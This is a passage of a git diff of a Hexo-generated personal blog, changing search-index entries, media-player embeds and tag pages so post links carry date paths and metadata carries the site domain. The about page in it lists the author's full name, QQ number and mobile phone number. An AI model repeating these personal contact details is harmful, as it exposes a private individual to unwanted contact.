href="#url" class="headerlink" title="url"></a>url</h3><ul><li>rss: 设置生成的 rss 或 atom url</li><li>daily_pic: 设置 daily_pic 模块 点击时跳转的 url</li><li>logo: 设置 logo 点击时跳转的 url</li></ul><h3 id="scheme"><a href="#scheme" class="headerlink" title="scheme"></a>scheme</h3><ul><li>Paradox<br>默认 Scheme，是 Material 的最初样式。居中布局，图文并茂。</li><li>Isolation<br>Paradox 的至简样式，简洁明了。</li></ul><h3 id="uiux"><a href="#uiux" class="headerlink" title="uiux"></a>uiux</h3><p>用于设置主题 UI 与 UX。</p><ul><li>heme_color: 主题主要颜色。主题的大部分地方使用此颜色。</li><li>theme_sub_color: 主题辅助颜色。</li><li>hyperlink_color: 超链接颜色。</li><li>button_color: 按钮颜色，例如 toTop 或 menu_button。</li><li>android_chrome_color: 安卓 Chrome 浏览器的地址栏颜色。</li><li>nprogress_color: 页面加载时顶部加载进度条的颜色。</li><li>nprogress_buffer: 页面加载时顶部加载进度条的缓冲时间。</li></ul><h3 id="js-effect"><a href="#js-effect" class="headerlink" title="js_effect"></a>js_effect</h3><p>用来控制 Material 主题中自带的多种 js 特性。</p><ul><li>fade: 页面加载时部分模块的渐显效果，默认为 true。</li><li>smoothscroll: 页面平滑滚动特效，默认为 false。</li></ul><h3 id="reading"><a href="#reading" class="headerlink" title="reading"></a>reading</h3><p>entry_excerpt: 首页文章输出摘要的字符长度。默认为 80。</p><ul><li>entry_excerpt: 首页文章输出摘要的字符长度。默认为 80。</li></ul><h3 id="background"><a href="#background" class="headerlink" title="background"></a>background</h3><p>用于设置站点背景。</p><ul><li>purecolor: 填入颜色代码。则站点使用纯色背景。</li><li>bgimg: 背景地址，默认调用 主题文件夹 -&gt; source -&gt; img 中的 bg.png。可更换此图片或者自己填入 url。</li><li>bing: 用于启用“必应美图”的图片作为背景。</li></ul><h3 id="dropdown"><a href="#dropdown" class="headerlink" title="dropdown"></a>dropdown</h3><p>用于设置 Paradox 侧边栏用户下拉菜单，默认为空。</p><pre><code>dropdown:    page:        link: &quot;mailto: someone@example.com&quot;        icon: email        divider: 设置成 true 后会在归档按钮底部增加一条分割线。</code></pre><h2 id="创建文章"><a href="#创建文章" class="headerlink" title="创建文章"></a>创建文章</h2><h3 id="使用命令行"><a href="#使用命令行" class="headerlink" title="使用命令行"></a>使用命令行</h3><pre><code>hexo new &lt;title&gt;</code></pre><p>手动创建也行</p><h3 id="格式"><a href="#格式" class="headerlink" title="格式"></a>格式</h3><pre><code>layout      布局          posttitle      标题          文件名date      建立日期        文件建立日期updated      更新日期        文件更新日期tags      标签（不适用于分页）    categories               分类（不适用于分页）    permalink               覆盖文章网址    thumbnail 缩略图地址    toc          显示 TOC 按钮       truecomment      显示评论           truenotag      不生成标签按钮    falsetop    置顶     false</code></pre><h2 id="创建「关于我」页面"><a href="#创建「关于我」页面" class="headerlink" title="创建「关于我」页面"></a>创建「关于我」页面</h2><p>新建一个 about 页面：</p><pre><code>hexo new page &quot;about&quot;</code></pre><h2 id="创建「友情链接」页面"><a href="#创建「友情链接」页面" class="headerlink" title="创建「友情链接」页面"></a>创建「友情链接」页面</h2><h3 id="创建页面"><a href="#创建页面" class="headerlink" title="创建页面"></a>创建页面</h3><p>在 hexo 目录下的 source 文件夹内创建一个名为 links（只是建议，可根据自己喜好修改）的文件夹。<br>然后在文件内创建一个名为 index.md 的 Markdown 文件。<br>在 index.md 文件内写入如下内容即可。</p><pre><code>---title: linksdate:layout: links---</code></pre><blockquote><p>title 可修改，layout 不可修改。</p></blockquote><h3 id="添加数据"><a href="#添加数据" class="headerlink" title="添加数据"></a>添加数据</h3><p>同样在在 hexo 目录下的 source 文件夹内创建一个名为 _data（禁止改名）的文件夹。</p><p>然后在文件内创建一个名为 links.yml 的文件。</p><p>单个友情链接的格式为：</p><pre><code>Name:    link: http://example.com    avatar: http://example.com/avatar.png    descr: &quot;这是一个描述&quot;</code></pre><h2 id="创建「图库」页面"><a href="#创建「图库」页面" class="headerlink" title="创建「图库」页面"></a>创建「图库」页面</h2><h3 id="创建页面-1"><a href="#创建页面-1" class="headerlink" title="创建页面"></a>创建页面</h3><p>在 hexo 目录下的 source 文件夹内创建一个名为 gallery（只是建议，可根据自己喜好修改）的文件夹。</p><p>然后在文件内创建一个名为 index.md 的 Markdown 文件。</p><p>在 index.md 文件内写入如下内容即可。</p><pre><code>---title: gallerydate:layout: gallery---</code></pre><h3 id="添加数据-1"><a href="#添加数据-1" class="headerlink" title="添加数据"></a>添加数据</h3><p>同样在在 hexo 目录下的 source 文件夹内创建一个名为 _data（禁止改名）的文件夹。</p><p>然后在文件内创建一个名为 gallery.yml 的文件。</p><p>单个图片的格式为：</p><pre><code>Name:    full_link: http://example.com/full-image.png    thumb_link: http://example.com/thumb-image.png    descr: &quot;这是一个描述&quot;</code></pre><h2 id="创建「标签云」页面"><a href="#创建「标签云」页面" class="headerlink" title="创建「标签云」页面"></a>创建「标签云」页面</h2><h3 id="创建页面-2"><a href="#创建页面-2" class="headerlink" title="创建页面"></a>创建页面</h3><p>在 hexo 目录下的 source 文件夹内创建一个名为 tags（只是建议，可根据自己喜好修改）的文件夹。</p><p>然后在文件内创建一个名为 index.md 的 Markdown 文件。</p><p>在 index.md 文件内写入如下内容即可。</p><pre><code>---title: tagsdate:layout: tags---</code></pre><h2 id="创建「私有」页面"><a href="#创建「私有」页面" class="headerlink" title="创建「私有」页面"></a>创建「私有」页面</h2><p>如果某篇文章不想显示在站点中，只需要在 front-matter 中加入</p><pre><code>layout: private</code></pre>]]></content>
       
       <categories>
@@ -1236,8 +1236,8 @@
     
     <entry>
       <title>我是愤怒</title>
-      <link href="/%E6%88%91%E6%98%AF%E6%84%A4%E6%80%92.html"/>
-      <url>/%E6%88%91%E6%98%AF%E6%84%A4%E6%80%92.html</url>
+      <link href="/2017/01/07/%E6%88%91%E6%98%AF%E6%84%A4%E6%80%92.html"/>
+      <url>/2017/01/07/%E6%88%91%E6%98%AF%E6%84%A4%E6%80%92.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><div id="dplayer3" class="dplayer hexo-tag-dplayer-mark" style="margin-bottom: 20px;"></div><script>(function(){var player = new DPlayer({"container":document.getElementById("dplayer3"),"autoplay":true,"theme":"#fff","loop":true,"video":{"url":"http://orjedzer5.bkt.clouddn.com/%E6%88%91%E6%98%AF%E6%84%A4%E6%80%92.mp4"},"danmaku":{"id":"3","api":"http://dplayer.daoapp.io","token":"tokendemo"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script>]]></content>
       
       <categories>
@@ -1259,8 +1259,8 @@
     
     <entry>
       <title>光辉岁月-间奏</title>
-      <link href="/%E5%85%89%E8%BE%89%E5%B2%81%E6%9C%88-%E9%97%B4%E5%A5%8F.html"/>
-      <url>/%E5%85%89%E8%BE%89%E5%B2%81%E6%9C%88-%E9%97%B4%E5%A5%8F.html</url>
+      <link href="/2016/11/20/%E5%85%89%E8%BE%89%E5%B2%81%E6%9C%88-%E9%97%B4%E5%A5%8F.html"/>
+      <url>/2016/11/20/%E5%85%89%E8%BE%89%E5%B2%81%E6%9C%88-%E9%97%B4%E5%A5%8F.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><div id="dplayer2" class="dplayer hexo-tag-dplayer-mark" style="margin-bottom: 20px;"></div><script>(function(){var player = new DPlayer({"container":document.getElementById("dplayer2"),"autoplay":true,"theme":"#fff","loop":true,"video":{"url":"http://orjedzer5.bkt.clouddn.com/%E5%85%89%E8%BE%89%E5%B2%81%E6%9C%88%EF%BC%88%E9%97%B4%E5%A5%8F%EF%BC%89.mp4"},"danmaku":{"id":"2","api":"http://dplayer.daoapp.io","token":"tokendemo"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script>]]></content>
       
       <categories>
@@ -1282,8 +1282,8 @@
     
     <entry>
       <title>梦中的婚礼</title>
-      <link href="/%E6%A2%A6%E4%B8%AD%E7%9A%84%E5%A9%9A%E7%A4%BC.html"/>
-      <url>/%E6%A2%A6%E4%B8%AD%E7%9A%84%E5%A9%9A%E7%A4%BC.html</url>
+      <link href="/2016/08/15/%E6%A2%A6%E4%B8%AD%E7%9A%84%E5%A9%9A%E7%A4%BC.html"/>
+      <url>/2016/08/15/%E6%A2%A6%E4%B8%AD%E7%9A%84%E5%A9%9A%E7%A4%BC.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><div id="dplayer4" class="dplayer hexo-tag-dplayer-mark" style="margin-bottom: 20px;"></div><script>(function(){var player = new DPlayer({"container":document.getElementById("dplayer4"),"autoplay":true,"theme":"#fff","loop":true,"video":{"url":"http://orjedzer5.bkt.clouddn.com/%E6%A2%A6%E4%B8%AD%E7%9A%84%E5%A9%9A%E7%A4%BC.mp4"},"danmaku":{"id":"4","api":"http://dplayer.daoapp.io","token":"tokendemo"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script>]]></content>
       
       <categories>
@@ -1310,7 +1310,7 @@
       <title>个人简介</title>
       <link href="/about/index.html"/>
       <url>/about/index.html</url>
-      <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>姓名：江志雄<br>性别：你猜<br>专业：软件工程</p><h3 id="工作经历"><a href="#工作经历" class="headerlink" title="工作经历"></a>工作经历</h3><ul><li><p>南昌·午逅科技</p><p>  任务职责：完成移动端 H5 页面开发</p><p>  工作目的：还原设计师给的设计稿，调整兼容性问题</p><blockquote><p>2017.06 – 2017.09</p></blockquote></li><li><p>杭州·机蜜<br>  任务职责：前端业务，公共工具开发</p><blockquote><p>2017.10 – 至今</p></blockquote></li></ul><h3 id="个人作品"><a href="#个人作品" class="headerlink" title="个人作品"></a>个人作品</h3><ul><li><a href="https://github.com/j710328466/vue-qqmusic" target="_blank" rel="noopener">vue仿QQ音乐</a></li><li><a href="http://jzxer.cn/water/" target="_blank" rel="noopener">水灵</a></li><li>微信小程序：蛋糕定制demo（未完成。。。）</li></ul><h3 id="技术栈"><a href="#技术栈" class="headerlink" title="技术栈"></a>技术栈</h3><p>前端</p><ul><li>Vuejs React </li><li>JavaScript(ES5 ES6) </li><li>HTML5 CSS/CSS3  </li><li>SASS(SCSS)</li><li>熟悉各种框架（bootstrap, semantic-ui, mint-ui, element-ui等)</li></ul><p>后端</p><ul><li>Nodejs(ExpressJS,KoaJS)</li></ul><p>数据库</p><ul><li>MongoDB</li></ul><p>自动化构建</p><ul><li>webpack gulp parcel</li></ul><p>版本管理</p><ul><li>GIT SVN</li></ul><p>目前学习计划</p><blockquote><p>基于vue的SSR框架nuxt<br>nodeJS / koa2</p></blockquote><h3 id="兴趣爱好"><a href="#兴趣爱好" class="headerlink" title="兴趣爱好"></a>兴趣爱好</h3><blockquote><p>看书<br>健身<br>摇滚乐 (靠 “谱”)</p></blockquote><h3 id="自我介绍"><a href="#自我介绍" class="headerlink" title="自我介绍"></a>自我介绍</h3><p>本⼈是软件⼯程学⽣. 喜欢折腾爱好音乐沉迷前端能独立思考解决问题性格貌似还不错 (读完很累吧~)</p><ul><li>tag <blockquote><p>行动派: 认准一件事就会全力以赴,不达目的不罢休<br>艺术派：前端工程师能将艺术与编程完美结合的一种职业, so, 热爱它吧</p></blockquote><h3 id="联系方式"><a href="#联系方式" class="headerlink" title="联系方式"></a>联系方式</h3><blockquote><p>qq: 710328466<br>tel: 15216030330(中午和晚上一般都关机，我要睡觉…)<br><a href="http://blog.jzxer.cn/" target="_blank" rel="noopener">blog</a></p></blockquote></li></ul>        <div id="aplayer-dfvbDxnB" class="aplayer aplayer-tag-marker" style="margin-bottom: 20px;">            <pre class="aplayer-lrc-content"></pre>        </div>        <script>          var ap = new APlayer({            element: document.getElementById("aplayer-dfvbDxnB"),            narrow: false,            autoplay: true,            showlrc: false,            music: {              title: "初学者",              author: "薛之谦",              url: "http://orjedzer5.bkt.clouddn.com/%E5%88%9D%E5%AD%A6%E8%80%85.mp3",              pic: "",              lrc: ""            }          });          window.aplayers || (window.aplayers = []);          window.aplayers.push(ap);        </script>]]></content>
+      <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>姓名：江志雄<br>性别：你猜<br>专业：软件工程</p><h3 id="工作经历"><a href="#工作经历" class="headerlink" title="工作经历"></a>工作经历</h3><ul><li><p>南昌·午逅科技</p><p>  任务职责：完成移动端 H5 页面开发</p><p>  工作目的：还原设计师给的设计稿，调整兼容性问题</p><blockquote><p>2017.06 – 2017.09</p></blockquote></li><li><p>杭州·机蜜<br>  任务职责：前端业务，公共工具开发</p><blockquote><p>2017.10 – 至今</p></blockquote></li></ul><h3 id="个人作品"><a href="#个人作品" class="headerlink" title="个人作品"></a>个人作品</h3><ul><li><a href="https://github.com/j710328466/vue-qqmusic" target="_blank" rel="noopener">vue仿QQ音乐</a></li><li><a href="http://jzxer.cn/water/" target="_blank" rel="noopener">水灵</a></li><li>微信小程序：蛋糕定制demo（未完成。。。）</li></ul><h3 id="技术栈"><a href="#技术栈" class="headerlink" title="技术栈"></a>技术栈</h3><p>前端</p><ul><li>Vuejs React </li><li>JavaScript(ES5 ES6) </li><li>HTML5 CSS/CSS3  </li><li>SASS(SCSS)</li><li>熟悉各种框架（bootstrap, semantic-ui, mint-ui, element-ui等)</li></ul><p>后端</p><ul><li>Nodejs(ExpressJS,KoaJS)</li></ul><p>数据库</p><ul><li>MongoDB</li></ul><p>自动化构建</p><ul><li>webpack gulp parcel</li></ul><p>版本管理</p><ul><li>GIT SVN</li></ul><p>目前学习计划</p><blockquote><p>基于vue的SSR框架nuxt<br>nodeJS / koa2</p></blockquote><h3 id="兴趣爱好"><a href="#兴趣爱好" class="headerlink" title="兴趣爱好"></a>兴趣爱好</h3><blockquote><p>看书<br>健身<br>摇滚乐 (靠 “谱”)</p></blockquote><h3 id="自我介绍"><a href="#自我介绍" class="headerlink" title="自我介绍"></a>自我介绍</h3><p>本⼈是软件⼯程学⽣. 喜欢折腾爱好音乐沉迷前端能独立思考解决问题性格貌似还不错 (读完很累吧~)</p><ul><li>tag <blockquote><p>行动派: 认准一件事就会全力以赴,不达目的不罢休<br>艺术派：前端工程师能将艺术与编程完美结合的一种职业, so, 热爱它吧</p></blockquote><h3 id="联系方式"><a href="#联系方式" class="headerlink" title="联系方式"></a>联系方式</h3><blockquote><p>qq: 710328466<br>tel: 15216030330(中午和晚上一般都关机，我要睡觉…)<br><a href="http://blog.jzxer.cn/">blog</a></p></blockquote></li></ul>        <div id="aplayer-utlCkfDz" class="aplayer aplayer-tag-marker" style="margin-bottom: 20px;">            <pre class="aplayer-lrc-content"></pre>        </div>        <script>          var ap = new APlayer({            element: document.getElementById("aplayer-utlCkfDz"),            narrow: false,            autoplay: true,            showlrc: false,            music: {              title: "初学者",              author: "薛之谦",              url: "http://orjedzer5.bkt.clouddn.com/%E5%88%9D%E5%AD%A6%E8%80%85.mp3",              pic: "",              lrc: ""            }          });          window.aplayers || (window.aplayers = []);          window.aplayers.push(ap);        </script>]]></content>
     </entry>
     
     <entry>
@@ -1327,13 +1327,6 @@
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script>]]></content>
     </entry>
     
-    <entry>
-      <title>timeline</title>
-      <link href="/timeline/index.html"/>
-      <url>/timeline/index.html</url>
-      <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script>]]></content>
-    </entry>
-    
     <entry>
       <title>tags</title>
       <link href="/tags/index.html"/>
@@ -1341,5 +1334,12 @@
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script>]]></content>
     </entry>
     
+    <entry>
+      <title>timeline</title>
+      <link href="/timeline/index.html"/>
+      <url>/timeline/index.html</url>
+      <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script>]]></content>
+    </entry>
+    
   
 </search>
diff --git a/public/tags/CStyle/index.html b/public/tags/CStyle/index.html
index d020a67..09e2176 100644
--- a/public/tags/CStyle/index.html
+++ b/public/tags/CStyle/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/CStyle/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/CStyle/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/CStyle/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/CStyle/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: CStyle | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/CStyle/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/CStyle/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/我个人的coding风格.html">我个人的coding风格</a></p>
+        <p class="article-headline-p"><a href="/2017/11/26/我个人的coding风格.html">我个人的coding风格</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/我个人的coding风格.html" target="_self">阅读全文</a>
+            <a href="/2017/11/26/我个人的coding风格.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/PWA/index.html b/public/tags/PWA/index.html
index bf785ac..a0aff23 100644
--- a/public/tags/PWA/index.html
+++ b/public/tags/PWA/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/PWA/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/PWA/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/PWA/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/PWA/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: PWA | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/PWA/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/PWA/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/PWA初窥.html">PWA初窥</a></p>
+        <p class="article-headline-p"><a href="/2018/01/20/PWA初窥.html">PWA初窥</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/PWA初窥.html" target="_self">阅读全文</a>
+            <a href="/2018/01/20/PWA初窥.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/SC/index.html b/public/tags/SC/index.html
index 2e0399d..28effae 100644
--- a/public/tags/SC/index.html
+++ b/public/tags/SC/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/SC/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/SC/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/SC/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/SC/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: SC | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/SC/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/SC/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/simpleCountry.html">simpleCountry</a></p>
+        <p class="article-headline-p"><a href="/2017/09/14/simpleCountry.html">simpleCountry</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/simpleCountry.html" target="_self">阅读全文</a>
+            <a href="/2017/09/14/simpleCountry.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/badBoy/index.html b/public/tags/badBoy/index.html
index b8c9433..42ec776 100644
--- a/public/tags/badBoy/index.html
+++ b/public/tags/badBoy/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/badBoy/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/badBoy/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/badBoy/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/badBoy/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: badBoy | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/badBoy/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/badBoy/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/badboy.html">badboy</a></p>
+        <p class="article-headline-p"><a href="/2017/07/30/badboy.html">badboy</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/badboy.html" target="_self">阅读全文</a>
+            <a href="/2017/07/30/badboy.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/beyond/index.html b/public/tags/beyond/index.html
index 59023f9..6ec5cdf 100644
--- a/public/tags/beyond/index.html
+++ b/public/tags/beyond/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/beyond/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/beyond/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
